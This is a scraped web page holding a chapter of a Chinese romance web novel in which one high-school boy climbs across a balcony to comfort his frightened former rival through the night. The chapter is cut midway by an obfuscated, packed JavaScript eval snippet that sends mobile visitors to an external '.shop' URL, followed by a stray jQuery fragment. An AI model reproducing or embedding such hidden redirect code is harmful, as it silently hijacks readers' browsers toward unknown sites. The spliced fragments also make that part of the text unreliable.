文趣网 > 都市小说 > 重生后被死对头娇养了 > 7. 开门
    “不用谢。”

    小哭包。

    宋景铄在心底默默念了句,眼睛却一直盯着手机屏幕,心中竟有些期待接下来的回复。

    可是直到他把眼睛都等迷瞪了也没等来下一句回复。看着空空如也的屏幕,他的心里有点不是滋味。手指在屏幕上敲敲打打,又删删改改。

    最后又觉得不妥,干脆把手机扔一边,蒙上被子睡觉去了。

    但青春期最扰人的就是会胡思乱想的心绪。

    昨天晚上有电脑分散注意力,今天可是什么都没有。

    宋景铄一闭眼就是香香软软的段冉扑到自己的怀里,像小猫似的亲昵地蹭着他的胸口。

    柔顺的头发隔着衣服传来的触感有点痒,但不戳人。他缓缓将手放到胸口,似是在回温当时的感觉。

    今夜的风甚是喧嚣,扰得宋景铄根本睡不着觉。满脑子都是段冉的样子。他哭、他笑,他的一举一动都影响着宋景铄。

    心烦意乱在此刻有了具象化的表现。手机在眼前也失去了它该有的魅力。

    风动。

    床上的少年,心动。

    而发完消息的段冉何尝不在纠结要发送什么消息。

    但刚发完那条消息后班群的消息就跳了出来。

    学习委员:@全体同学,明天到校把作业放我桌上!

    下面一排的回复都是收到,段冉却迷茫了一瞬。他还有作业要写?

    这东西,早在他大学毕业后就被彻底遗忘了,现如今却以一种极为恐怖的方式钻进了他的脑海中。

    他还有作业没写。

    不写作业的次数多了会被讲台上做检讨。

    而他,次数俨然耗光了。

    没办法,段冉只能暂时放下和亲亲宝贝宋景铄的聊天,挑灯夜战作业。

    好在高中生的知识还在脑子里,这些题对他来说倒也不算太难。就是写的东西有点多,写完的时候都到了后半夜。

    他再打开手机想给宋景铄发消息的时候窗外的灯已经暗下去了。

    段冉看着他阳台对面的窗户微微抿唇,阿铄睡了,不能和他聊天了。

    他们两家的房子挨在一起,而他房间的阳台刚好和宋景铄的卧室挨着,所以他能通过对面是否亮光来判断人宋景铄有没有睡觉。

    想当初,他可是靠这个让宋景铄没少因为偷偷熬夜而挨他妈妈的骂。那个时候宋景铄总是放狠话让他等着,他也要告家长。

    可是他不知道的是,段冉家里空荡荡的,他巴不得宋景铄告家长,好让自己的爸爸妈妈回来骂他。

    只可惜,段冉的父母太忙了,宋景铄常年都见不到人,两人还因此结了个梁子,事情到最后也不了了之了。

    段冉遥遥望去,眼神中带着怀念。

    月光成了刻画他脸庞的染料,将他身上那股柔和、神性一点一滴地描绘出来。

    但相应的,也将他眼底的悲伤与孤独毫无保留地倾泻了出来。

    他回到床上睡觉,手里紧紧握着手机。

    但无论他怎么闭眼,眼前都是一片血红,鼻尖总是萦绕着一股血腥味难以散去。

    他躺在床上,只觉得胸口上有一块巨大的石头,压得他喘不过气来。

    黑暗中好似有无数双手要将他拖入血腥的地狱中,为阿铄和宝宝陪葬。

    他怕、又无力,只能在这样的场景下一次又一次睁眼,呢喃说着对不起。

    后来房间还是黑得吓人,他干脆起身把灯全开开了,就是为了睡得舒服点。

    只是,灯的光亮终究照不到段冉的心里去,他眼前再亮,闭上眼还是黑的。

    这个家仍然冷得吓人。

    “阿铄……我好怕。”段冉终是撑不住似的崩溃出声。

    他双手抱膝坐在床上,泪水在眼睛里打转,委屈又难过地对着面前手机里的少年诉苦。

    诉说着他的害怕和难过。

    可是照片终究只是照片,无法回应他,也给不了他想要的东西。

    段冉的手在语音键上悬停了很久,还是没忍住按了下去。

    “咚咚咚!”宋景铄睡得正香的时候手机铃声突然响起,把他吓了一跳。

    一看是语音电话,怒火顿时涌上心头。“谁啊?大半夜的打电话,疯了吗?”

    他眯着眼手指摸摸索索着要把电话挂了。

    却撇到了自己留的备注,娇气又脆弱的小哭包。

    宋景铄瞬间清醒了,连忙拿着手机坐起来清了清嗓子,立刻接通了电话。万一接晚了小哭包又哭了怎么办?

    “喂?段冉?怎么了?”接通电话后宋景铄便问出声来。

    听着熟悉的声音,段冉终是忍不住地哭出声来。“阿铄,呜呜呜,我好怕啊!”

    少年委屈巴巴的哭腔让宋景铄听了心头一紧,拿着手机就要往外走,嘴里还说着安抚的话。

    “你别怕,你在哪?我马上过来。”

    结果那边顿了顿又说道:“家里,我在家里。”

    “家里?”宋景铄顿了一下,“那你……怕什么?”

    “阿铄,家里好黑,我怕,我好怕呜呜呜呜。”

    独自在家的段冉被放大了恐惧和害怕的情绪,下意识便要寻找最亲近的人。

    恰好,宋景铄就是他最亲近的人,所以他会不顾一切地打电话给宋景铄,寻求帮助。

    那边沉默了片刻,而后传来嘁嘁嗦嗦的声音。

    紧接着,便是霸道的两个字。

    “开门。”

    段冉愣了一下,“开什么门?”

    “当然是阳台门啊。”说完后就挂断了电话。

    段冉也从床上起来,去到阳台边开门。

    未曾想,他心心念念的人就那么直晃晃地出现在了他的阳台上。

    “阿铄!!!”段冉喜出望外,立刻小跑着过去给人开门。

    他的眼里透出惊讶,“你怎么会在这里?你是怎么过来的?”

    宋景铄指了指阳台,“挨得那么近,我过来不是轻轻松松?而且……”

    他上下看了段冉一眼,“你哭成那个样子,我能不过来?说吧,到底怎么了?”

    此刻的宋景铄虽然一脸稚气未脱,但内里的老成和稳重却让段冉下意识地认成了成年后的宋景铄。

    他愣了一瞬,然后在对方的视线看过来时连忙低下头去,“没怎么……就是房间太黑了,我有点睡不着。”

    少年的声音很小,宋景铄却听得清清楚楚。他抬眼看了看亮堂堂的房间,没有去质疑他,而是了然地点点头,“行,那我在旁边陪着你,你睡吧。”

    他的语气是那么的令人安心,安心到让段冉的手掌瞬间握成了拳头。

    “阿铄,你真的不记得吗?”

    “不记得什么?”宋景铄的眼中闪过疑惑,那模样怎么看都不像装的。

    “算了,没什么。”段冉摇摇头,乖乖地躺回到床上去,眨巴眨巴眼看着坐在他床上宋景铄。

    “好了,快睡吧。”宋景铄低声哄人,脸上没有一丝睡觉被吵醒的不耐,手掌也轻轻拍着他的后背。

    “好。”

    段冉点点头,闭上了眼睛。

    这一次,他的鼻尖没有血腥味了,眼前也不再是一片血腥,没一会儿就陷入了沉睡。

    床边的宋景铄深深地看了眼床上的少年,眼里尽是心疼和无奈。

    他伸手为他将遮住眼睛的碎发轻轻拨开,把眼角的泪水抹去,再为他掖了掖被子。

    而后在那坐了许久,什么也没干,只是静静地看着床上的少年,用眼睛一遍又一遍地将对方的面庞刻在脑海中。

    待天快要亮的时候,确定段冉没有再惊醒他才又从阳台翻回自己的房间中睡觉。

    闹钟响的时候他甚至还有些发蒙,自己昨天晚上是去了段冉的房间?

    宋景铄在床上愣了好几秒才接受自己守了段冉一晚上。

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17645280|206779||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    虽然有点想不通,但这件事情好像是他打从心底就自愿做的。宋景铄将一切都归结于晚上睡懵了,容易做一些匪夷所思的事情。

    他穿了校服就去上学了。今天可是假期第一天,学校查迟到最严了。

    另外一边,段冉终于睡了个安安稳稳的觉。虽然醒过来时没能见到宋景铄,但他还是很满足了。

    他从柜子里拿出校服换上,带着自己赶工完成的作业下了楼。

    司机已经在门口等着了,段冉见到车便下意识地感到恶心。他白着脸上了车,全程都紧紧抓着车把手不放。

    眼睛更是死死盯着外面,一遍又一遍地让司机注意速度。

    如果不是学校离家远,他是绝对不会坐车的。可就算他强忍着不适,还是没撑到去学校。

    在距离学校还有几公里的路边,段冉吐得胆汁都快出来了。他握着栏杆,身子发着颤。

    碎发和汗水混在一起贴在额头上,狼狈尽显。

    “呕!!!”

    段冉只呕不吐,空荡荡的胃烧得他心慌脸白,耳鸣手麻。

    司机递了瓶水过去,关心道:“小少爷,你是不是吃坏肚子了?要不我们上医院吧?”

    段冉闻言摇摇头,“不用了,我只是有点晕车。你先回去吧,不用送我了,我自己去学校。”

    让他坐车不亚于杀了他。

    那种难受的感觉他不想再体验一遍。

    于是,段冉背着自己的书包,踏上了去学校的路程。

    宋景铄还在学校等着他,他要去找他。

    带着这样的想法,段冉默不作声地埋头走了几公里。

    终于,在第二节课开始时,狼狈的段冉敲响了教室的门。

    “报告。”

    他微弱的声音响起,所有人都看向了门口,然后随之一愣。

    往日里那个精致异常的小少爷似乎有点不一样了。

    只见段冉气喘吁吁地站在门口,碎发下的眼睛不停地往里张望。蓝白校服上多了几点泥点,白色的鞋子上也被泥浆弄得脏兮兮的。

    老师见到来人也是愣了一下,但为了不打扰其他同学,他皱了皱眉就把人放了进来。

    “赶紧回座位吧。”

    “谢谢老师。”段冉小声道着谢,迈着步伐往宋景铄的方向去。

    老师为了调和他们的关系,特意将他们调到了一起当同桌。

    以前他最讨厌的就是这个安排。

    现在看来,这是他最最最最满意的安排!

    而宋景铄此刻还在因为段冉没到校而担忧,手机编辑了好几条消息过去都没有得到回复。

    要是段冉再不来,他怕是都要请假出去找人了。

    好在人来了。

    就是有点狼狈。

    还有点瘸。

    朝他走来的少年,一瘸一拐地坐到了座位上,对着他露出了欢喜的笑容。

    “阿铄!”

    他却一点也开心不起来,皱着眉看向段冉脚道:“你的脚怎么了?”

    段冉闻言笑容一僵,抓着书包的手微微收紧。

    他看着宋景铄小声道:“我走了一点路,鞋子有点硬。”

    所以脚被磨破了。

    “只是一点路?”宋景铄可不信段冉说的话,当即就站起身来和老师请假。

    “老师,段冉同学的脚出血了,可能需要去一下医务室,我可以送他去吗?”

    老师点点头,“去吧,记得和你们班主任说一声。”

    他记得这两人不是关系最差了吗?别是又去哪个地方约架,告知班主任是必要的。

    “好的。”

    宋景铄说完后也不耽搁,当着所有人的面便把段冉背了起来往医务室去。

    不仅老师愣了一下,全班都惊讶得说不出话。

    宋哥什么时候和段哥关系那么好了?

    他们俩不是你死我活的死对头吗????